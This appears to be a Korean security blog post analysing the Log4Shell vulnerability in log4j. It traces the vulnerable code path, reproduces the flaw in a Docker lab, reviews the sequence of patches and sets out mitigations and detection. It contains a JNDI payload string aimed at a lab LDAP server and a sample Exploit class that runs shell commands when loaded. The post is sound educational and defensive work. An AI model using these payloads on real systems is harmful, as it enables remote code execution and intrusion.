들어가며
Log4Shell은 로깅 라이브러리 하나의 취약점이 어떻게 전 세계 인터넷을 뒤흔들 수 있는지 보여준 사건이다. 이 글을 쓰기 전까지 나는 이 취약점을 “log4j에 있던 RCE” 정도로만 알고 있었다 — 정작 코드 레벨로 왜 위험한지, 패치가 어떻게 진행됐는지, 실무에서 이런 상황을 만나면 무엇부터 해야 하는지는 제대로 짚어본 적이 없었다.
그래서 단순히 취약점 로직을 아는 것을 넘어 아래 네 가지를 직접 코드를 읽고, Docker로 취약 환경을 구성해 재현하고, 문헌을 뒤져가며 정리해봤다.
- 이 취약점의 코드 레벨 원리는 정확히 무엇인가
- 여러 자산 중 이 취약점에 해당하는 자산을 어떻게 찾아야 하는가
- 일반적으로 즉각 조치가 가능한 취약점인가
- 즉각 조치가 어렵다면 대체 보안(완화책)을 적용할 수 있는가, 있다면 어떤 방법이 있는가
이 글은 그 과정을 정리한 기록이다.
1. Log4j가 뭐길래 이렇게까지 커졌나
log4j는 Java 진영에서 가장 널리 쓰이는 로깅 라이브러리다. Spring Boot를 포함한 대부분의 Java 프레임워크가 기본 의존성으로 깔고 들어간다. 문제는 이게 직접 의존성(direct dependency) 으로만 들어오는 게 아니라는 점이다 — Elasticsearch, Kafka, Hadoop처럼 log4j를 안 쓴다고 생각한 프로젝트들도 그 밑에 깔린 다른 라이브러리를 통해 log4j-core를 간접 의존성(transitive dependency) 으로 몰래 물고 들어오는 경우가 흔했다. 그래서 “우리 팀은 log4j 안 쓰는데?”라고 생각한 팀들도 실제로는 취약했던 사례가 많았다.
로깅 라이브러리는 애플리케이션의 거의 모든 코드 경로에서 호출된다 — 요청 로그, 에러 로그, 디버그 로그. 그 말은 곧 사용자 입력이 로그로 찍히는 지점은 셀 수 없이 많다는 뜻이다. 이 넓은 공격 표면과, 뒤에서 볼 아주 단순한 취약점 하나가 만나서 Log4Shell이 됐다.
2. 취약점 원리 — 로그를 찍는 게 어떻게 코드 실행이 되나
2.1 평범한 logger.info() 한 줄이 왜 여기까지 오나
여기서 자연스럽게 드는 의문이 있다 — 그냥 로그 한 줄 남기는 코드가 대체 왜 문자열을 해석하고 네트워크까지 나가는 로직을 타는가? 실제로 logger.info("...", userAgent) 호출부터 추적해보면, 이 사이에는 놀랍도록 많은 계층이 있다.
App: logger.info("User-Agent: {}", userAgent)
→ AbstractLogger.info() → logIfEnabled() → logMessage() (log4j-api, 여기서 "{}" 치환)
→ core.Logger.log() ← api의 기본 구현을 core가 오버라이드 (다형성이라 검색만으론 안 보임)
→ LoggerConfig.callAppenders() (log4j2.xml에 등록된 각 appender로 전달)
→ PatternLayout.toText() (log4j2.xml의 pattern="...%m%n" 파싱)
→ %m 문자를 만나면 MessagePatternConverter 실행 ← 이름 직접 호출 아님, @ConverterKeys 어노테이션으로 런타임에 매칭
즉 로그 메시지가 최종 문자열로 만들어지는 마지막 단계, “패턴의 %m 자리를 실제 메시지로 채우는” 바로 그 지점에 ${...} 스캔 로직이 박혀 있다. 로그를 남기는 모든 코드 경로가 예외 없이 이 지점을 통과하기 때문에, 애플리케이션 어디서 로그를 찍든 공격 표면이 된다.
2.2 문제의 근원: 로그 메시지 안의 ${...}를 “명령”으로 해석한다
log4j는 로그 메시지 문자열 안에 ${...} 형태가 있으면 이걸 lookup 문법으로 해석해서 치환하는 기능이 있다. 원래 의도는 이런 것이었다:
${env:USER} → 현재 OS 사용자 이름으로 치환
${date:yyyy-MM-dd} → 오늘 날짜로 치환
로그에 유용한 컨텍스트 정보를 자동으로 삽입하려는 정상적인 기능이다. 문제는 이 lookup 종류 중에 ${jndi:...}가 있었다는 것 — 이건 단순 치환이 아니라 실제로 네트워크 너머의 서버에 접속해서 응답을 받아오는 lookup이었다.
2.3 JNDI는 뭘 할 수 있는 놈인가
JNDI(Java Naming and Directory Interface)는 “이름으로 원격 자원을 찾아오는” 표준 Java API다.
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/MyDB");이렇게 사내 디렉토리 서버에서 DB 커넥션 풀 같은 걸 이름으로 찾아오는 용도로 설계됐다. 핵심은 lookup()의 인자가 URL 형태면 진짜 네트워크 연결이 일어난다는 점이다.
이걸 택배 심부름에 비유하면 이해가 쉽다. lookup("ldap://공격자서버/Exploit")은 “이 주소로 가서 물건 하나 받아와”라는 심부름이다. 이 심부름꾼(JVM)은 두 가지 문제가 있다.
- 주소가 우리 회사 창고인지 낯선 사람 집인지 확인하지 않고 그냥 간다.
- 도착해서 받은 물건이 뭐든 의심 없이 그대로 받아서 쓴다.
공격자가 자기 서버 주소를 이 lookup에 흘려보내면, JVM은 그 서버에 접속해서 응답을 받아오고, 그 응답이 시키는 대로 행동한다.
2.4 검증 없이 실행되는 지점 — 왜 아무도 안 막았나
여기서 “그럼 ${jndi:...}가 위험한 걸 알았으면 어디서든 한 번은 걸러야 했던 거 아닌가?”라는 질문이 남는다. 실제 코드를 따라가 보면 검증이 빠질 수 있는 지점이 최소 세 군데였고, 셋 다 “무조건 실행”이었다.
-
치환 자체를 켤지 끌지: 로그 메시지 최종 문자열을 만드는
MessagePatternConverter(%m을 실제로 처리하는 클래스) 안에는 이런 코드가 있다.if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { ... workingBuilder.append(config.getStrSubstitutor().replace(event, value));메시지 문자열을 한 글자씩 훑다가
${를 만나면 그 자리에서 바로StrSubstitutor.replace()를 불러 치환을 시작한다. 조건은noLookups가false인지(기본값이false, 즉 켜져 있음) 뿐이다 — 문자열이 어디서 왔는지(사용자 입력인지 아닌지), 내용이 뭔지는 전혀 안 본다. 우리가 로그에 넘긴User-Agent값 안의${jndi:...}도 그냥 “메시지에 든 문자”일 뿐이라 이 스캔에 그대로 걸린다. -
prefix로 아무 lookup이나 무조건 꺼내 실행: 치환 로직은
${jndi:...}의jndi부분을 보고 실행할 클래스를 찾는데,Interpolator라는 클래스가 생성자에서 이렇게 미리 박아둔다.strLookupMap.put(LOOKUP_KEY_JNDI, Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class));env,date처럼 안전한 lookup과jndi처럼 네트워크로 나가는 lookup이 같은 딕셔너리에, 같은 자격으로 등록돼 있다. prefix 문자열만 일치하면 어떤 lookup이든 그대로 꺼내 실행한다 — “이건 위험하니 옵트인 필요”같은 구분이 없다. -
꺼내온 JndiLookup 안에도 목적지 검증이 없다: 최종적으로 실행되는 코드는 이거다.
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) { return Objects.toString(jndiManager.lookup(jndiName), null);jndiName이ldap://공격자서버/Exploit이든 사내 서버 주소든, 프로토콜이나 호스트를 허용 목록과 대조하는 코드가 없다. 받은 문자열을 그대로 들고 네트워크에 접속한다.
정리하면 “치환 켜져 있나 → prefix 뭐든 딕셔너리에서 찾아 실행 → 목적지 검증 없이 접속”, 이 세 단계가 전부 무조건/무검증이었던 것이 근본 원인이다. 뒤에서 볼 패치들도 결국 이 세 지점 중 어디를 막았는지로 구분된다.
2.5 실제 공격 흐름 — 두 번의 아웃바운드
Log4Shell의 원격 코드 실행(RCE)은 한 번이 아니라 두 번의 아웃바운드 연결로 이뤄진다.
1홉 (LDAP, 포트 1389): 서버 → 공격자의 LDAP 서버
"jndi lookup 좀"
→ 응답: "Exploit 객체가 필요하면 http://공격자서버:8888/Exploit.class 로 가서 받아와"
(이 응답을 Reference라고 부른다 — 실제 데이터가 아니라 "여기 가면 있다"는 포인터)
2홉 (HTTP, 포트 8888): 서버 → 공격자의 HTTP 서버
순수한 평범한 HTTP GET으로 Exploit.class 파일을 받아옴
→ 로드하는 순간 RCE
왜 하필 LDAP/RMI를 써야 하는지, 왜 한 번에 안 끝나고 두 단계로 나뉘는지는 JNDI 설계 자체에서 나온다. JNDI는 애초에 LDAP, RMI, DNS, CORBA 같은 몇 가지 정해진 “네이밍 서비스” 프로토콜만 이해한다 — http://는 이 목록에 아예 없다. 그리고 JNDI는 “이름 찾기(가벼움)“와 “실제 객체 만들기(무거움)“를 분리해서 설계했기 때문에, 1홉에서는 가벼운 포인터(Reference)만 돌려주고 실제 무거운 데이터(class 파일)는 2홉에서 별도의 범용 메커니즘(URLClassLoader)으로 가져오게 되어 있다. 이 2단계 구조 자체는 공격을 위해 만들어진 게 아니라, 엔터프라이즈 시스템에서 실제로 쓰던 정상 기능을 그대로 악용한 것이다.
2.6 class를 받아오는 것 자체가 왜 코드 실행인가
Java는 클래스를 로드하는 순간 그 안의 static 블록을 자동으로 실행한다. 누가 그 클래스의 메서드를 호출하거나 인스턴스를 만든 게 아니어도 상관없다 — “이 클래스가 존재한다는 걸 인식하는 것” 자체가 트리거다.
public class Exploit {
static {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c",
"id > /tmp/pwned.txt; echo LOG4SHELL_RCE_PROOF >> /tmp/pwned.txt"});
}
}이 코드는 아무도 new Exploit()을 하지 않았는데도, class 파일이 로드되는 순간 static 블록이 자동으로 실행된다. “받아본 상자를 열어보기도 전에 이미 터진다”는 게 이 취약점의 진짜 위험한 지점이다.
3. 직접 재현해보기
이해한 흐름이 진짜 맞는지 확인하려고, 취약한 버전(log4j-core 2.14.1)을 직접 Docker로 구성했다. 최소한의 Java 앱을 만들어 User-Agent 헤더 값을 그대로 로그에 남기게 하고(logger.info("request received, User-Agent: {}", userAgent)), LDAP 서버와 HTTP 서버 역할을 하는 컨테이너를 각각 붙였다.
docker-compose.yml
├─ custom-app (log4j-core 2.14.1, 취약한 최소 앱)
├─ ldap-server (marshalsec LDAPRefServer)
└─ http-server (Exploit.class 서빙)
Burp Suite로 요청을 가로채면서, 실제로 1홉(LDAP)이 어떤 요청/응답을 주고받는지 확인했다.

Burp Suite로 캡처한 화면. User-Agent 헤더에 ${jndi:ldap://ldap-server:1389/Exploit} payload를 넣어 요청을 보내고, 서버가 이 값을 그대로 로그에 남기려다 LDAP lookup을 트리거하는 과정을 확인할 수 있다.
요청을 보낸 뒤 컨테이너 안에서 결과를 확인했다.
root 권한으로 임의 명령이 실행된 결과. 애플리케이션이 컨테이너 안에서 root로 돌고 있었기 때문에 별도의 권한 상승 없이 바로 root 권한 RCE가 성립했다.
흥미로웠던 점은 실행 순서였다. 로그에는 RCE 증거가 먼저 찍히고, 그 다음에야 ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory 예외가 떴다. JVM이 “이 클래스가 쓸모 있는 타입인지” 검사하기도 전에 static 블록이 이미 실행돼버린다는 걸 실행 순서로 직접 확인한 셈이다.
4. 히스토리 — 왜 한 번의 패치로 끝나지 않았나
Log4Shell을 “log4j 2.15.0으로 패치됐다”로만 기억하면 위험하다. 실제로는 3주 사이 CVE 4개, 패치 버전 4개가 연달아 나왔다.
| 날짜 (2021) | CVE | 심각도 | 문제 | 패치 버전 |
|---|---|---|---|---|
| 12/9 공개 | CVE-2021-44228 (Log4Shell) | Critical (10.0) | JNDI lookup 무검증 실행 → RCE | 2.15.0 |
| 12/13~14 | CVE-2021-45046 | Moderate → 12/17 Critical로 상향 | 2.15.0 완화가 불완전 | 2.16.0 |
| 12/17~18 | CVE-2021-45105 | High (7.5) | 무한 재귀 → DoS | 2.17.0 |
| 12/28 | CVE-2021-44832 | Moderate (6.5) | JDBC Appender 통한 RCE (설정 제어 필요) | 2.17.1 |
2.15.0: 첫 패치가 왜 불완전했나
2.15.0은 세 가지 방어를 동시에 넣었다 — %m 패턴의 lookup을 기본 비활성화, LDAP lookup을 localhost로 제한, 그리고 allowedLdapClasses라는 화이트리스트로 역직렬화 가능한 클래스를 제한. 그런데 두 가지 구멍이 남아있었다.
- 구멍 A:
%m(로그 메시지 본문) 경로만 막았을 뿐, Thread Context Map(MDC) 패턴(%X,${ctx:loginId}등)은 방어 대상이 아니었다. 로그인 아이디처럼 컨텍스트 정보로 흔히 로그에 들어가는 값들이 이 경로를 거치는데, 여기엔 방어가 없어서 여전히 뚫렸다. - 구멍 B:
allowedLdapClasses화이트리스트는 LDAP 응답에 적힌 클래스 이름만 검사했다. 실제로 역직렬화되는 바이트 데이터가 그 이름과 일치하는지는 검증하지 않았다 — 이름표만 안전하게 붙이고 내용물은 악성 gadget chain을 넣어도 그대로 통과됐다.
2.16.0: 전략이 바뀐 지점
경로/이름을 하나씩 막는 대신 JNDI lookup 기능 자체를 기본값으로 완전히 꺼버렸다. “구멍 하나씩 막기”에서 “위험한 기능 자체를 기본 비활성화”로 방어 전략이 바뀐 순간이다.
2.17.0: 별개의 버그 + 구멍 B의 최종 정리
이 버전에서는 두 가지 일이 동시에 일어났다. 하나는 StrSubstitutor의 재귀 치환 로직에 깊이 제한이 없어서, 자기 자신을 참조하는 lookup 패턴이 무한 재귀를 일으켜 StackOverflowError로 죽는 별개의 DoS 취약점(CVE-2021-45105)이 발견돼 고쳐진 것. 다른 하나는 allowedLdapClasses가 근본적으로 우회 가능하다는 게 알려지자, 그 검사를 정교하게 고치는 대신 LDAP 프로토콜 자체를 JNDI 기본 허용 목록에서 제거해버린 것이다.
2.17.1: 훨씬 좁은 범위지만 그래도 RCE
이건 조건이 다르다 — 공격자가 이미 로깅 설정 파일을 수정할 권한이 있어야 한다. 그 상태에서 JDBC Appender를 JNDI 기반 DataSource로 구성하면 RCE가 가능했다. 실무 위험도는 낮지만, 공식적으로는 JNDI 기반 DataSource 이름을 java 프로토콜로만 제한하는 패치가 나왔다.
이 히스토리에서 남는 교훈
- “패치했다” ≠ “끝났다” — 방어 실패 지점이 최소 세 곳(
%m, MDC 패턴,allowedLdapClasses우회)이었고, 첫 패치는 일부만 막았다. - 화이트리스트가 존재한다는 사실 자체가 안전을 보장하지 않는다 — 무엇을 실제로 검사하는지가 중요하다.
- 경로 단위로 막는 시도가 반복해서 뚫리자, 결국 기능/프로토콜 자체를 기본 비활성화하는 쪽으로 전략이 바뀌었다. 증상 대응보다 근본 제거가 훨씬 강한 방어다.
- 한 취약점을 고치다가 완전히 다른 취약점(DoS)이 발견되기도 했다.
- 최종 안전 버전은 2.17.1이다. “2.14.1 이하만 위험하다”는 잘못된 요약이다.
5. 어떻게 대응해야 하나
코드를 이해하는 것과, 여러 자산을 굴리는 조직 입장에서 실제로 움직이는 것은 다른 문제다. 아래는 그 격차를 메워보려고 정리한 내용이다.
5.1 여러 자산 중 어디가 해당되는지 어떻게 찾나
가장 먼저 할 일은 정적(passive) 스캔이다. grype, syft, OWASP Dependency-Check, Snyk, Trivy 같은 SCA/SBOM 도구로 소스와 빌드 산출물의 의존성 트리를 훑는다. 여기서 가장 흔히 놓치는 함정이 앞서 말한 transitive dependency다 — mvn dependency:tree처럼 간접 의존성까지 펼쳐서 봐야 한다. 직접 의존성만 보면 정작 위험한 자산을 놓친다.
이미 운영 중인 자산은 런타임 인벤토리(실제 classpath, jar 안 클래스 파일 확인)나 컨테이너 이미지 레지스트리 스캔으로 커버한다. 자산 소유 범위 안에서는 콜백 기반 blind 탐지(canarytokens.org 같은 자체 리스너로 payload를 흔한 입력 지점에 심어보고 콜백이 오는지 확인)도 침습적 익스플로잇 없이 취약 여부만 확인하는 용도로 쓸 수 있다.
찾은 결과는 자산 인벤토리(CMDB)와 대조해서 “전체 중 몇 개가 해당되는지” 수치화하고, 인터넷에 노출된 자산부터 우선순위를 매긴다.
5.2 지금 당장 패치 가능한 취약점인가
“패치가 나왔다”와 “우리가 지금 적용할 수 있다”는 다른 질문이다. 판단 기준은 이렇다.
- 자체 코드인가 벤더 제품인가: 직접 만든 앱이면 우리가 버전업을 결정할 수 있지만, 상용 제품에 내장된 경우 벤더 패치 배포 시점에 종속된다.
- 호환성 리스크: log4j 1.x → 2.x는 API가 아예 다른 메이저 버전업이라 마이그레이션이 필요하지만, 2.14.1 → 2.17.1은 같은 메이저 안 패치라 리스크가 낮다.
- 다운타임/변경관리 제약: 새 jar를 적용하려면 재기동이 필요하다. 24/7 서비스면 롤링 배포 가능한 구조인지가 관건이다.
- 패치 버전 자체의 검증 여부: 이 CVE가 3주간 4번 패치됐다는 사실이 시사하듯, 첫 패치 버전으로만 올리고 안심하면 안 된다. 목표 버전은 반드시 2.17.1 이상이어야 한다.
| 조건 | 결론 |
|---|---|
| 자체 코드 + 2.x 계열 + 호환성 리스크 낮음 + 재배포 가능 | 즉시 패치(2.17.1+) |
| 벤더 제품 (패치 미배포) | 완화책으로 시간 벌기 |
| 1.x → 2.x 마이그레이션 필요 | 즉시 불가, 별도 계획 |
| 변경관리/테스트 기간 필요 | 완화책 병행하며 정식 패치 준비 |
5.3 대체 보안(완화책)은 가능한가, 있다면 무엇인가
완화책을 적용하기 전에 반드시 확인할 게 있다 — 그 완화책이 근본 원인을 막는지, 아니면 트리거 경로 하나만 막는지다. 히스토리에서 봤듯 formatMsgNoLookups=true는 %m 경로만 막고 MDC 패턴은 못 막는다. 완화책 하나 적용했다고 “막았다”고 단정하면 안 된다.
권한 측면에서도 완화책 종류마다 필요한 게 다르다. JVM 옵션 변경은 재기동이 필요하지만 패치보다 변경 폭이 작아 승인이 빠를 수 있고, 네트워크 egress 필터링은 네트워크팀의 방화벽 관리 권한이, WAF 룰은 WAF 운영 권한이 필요하다. 그리고 완화책은 어디까지나 임시방편이라는 걸 잊으면 안 된다 — 언제까지 버티고 언제 정식 패치로 넘어갈지 기한을 정해둬야 한다.
구체적으로 적용 가능한 것들:
애플리케이션 계층
-Dlog4j2.formatMsgNoLookups=true— 즉시 적용 가능하지만 MDC 경로는 못 막는 한계가 있다.- jar에서
JndiLookup.class자체를 제거하는 방법이 더 견고하다:
이 클래스가 없으면zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classjndi:prefix lookup이%m이든 MDC든 어느 경로로 들어와도 실패한다. Apache가 실제로 권장했던 임시 완화책이다.
네트워크 계층
- LDAP(389/636)/RMI(1099) 아웃바운드 차단 — 1홉(원격 서버 접속) 자체를 끊어서 payload 형태와 무관하게 RCE 경로를 원천 차단한다.
- DNS 아웃바운드 통제 — 완전히 막지 않으면 최소한 blind 탐지에는 계속 노출된다.
탐지/모니터링
- SIEM 상관탐지 룰 —
${문자열 obfuscation 변형까지 잡는 정규식과, 평소 없던 app-tier→LDAP/RMI 아웃바운드 트래픽 탐지를 병행한다. 후자는 payload 형태와 무관하게 잡히므로 신뢰도가 더 높다.
가상 패치(virtual patching)
- WAF/IPS 시그니처로
${jndi:류 패턴을 차단할 수 있지만, obfuscation으로 우회되는 경우가 많아 defense-in-depth로만 취급해야 한다.
마무리
Log4Shell을 “JNDI 취약점”이라는 한 줄로만 알고 있을 때와, 코드를 직접 추적하고 랩에서 재현하고 패치 히스토리를 뜯어보고 나니 완전히 다르게 보인다. 특히 인상 깊었던 건 완화책 하나가 “안전”과 “안전하지 않음” 사이의 이분법이 아니라, 정확히 어느 경로를 막고 어느 경로는 열어두는지를 알아야 판단할 수 있다는 점이었다. allowedLdapClasses처럼 있어 보이는 방어책이 실제로는 검증 로직 자체의 허점 때문에 무력화된 사례는, 코드 레벨 이해 없이는 절대 알 수 없는 부분이었다.
참고
- LOG4J2-3208 - Disable JNDI by default · apache/logging-log4j2
- Apache: Code execution in log4j2 - GitHub Security Advisory
- Log4j 2.15.0 and previously suggested mitigations may not be enough - SANS ISC
- Log4Shell Vulnerability Timeline - Pete Freitag
- Apache Log4j RCE - Variants and Updates - Checkmarx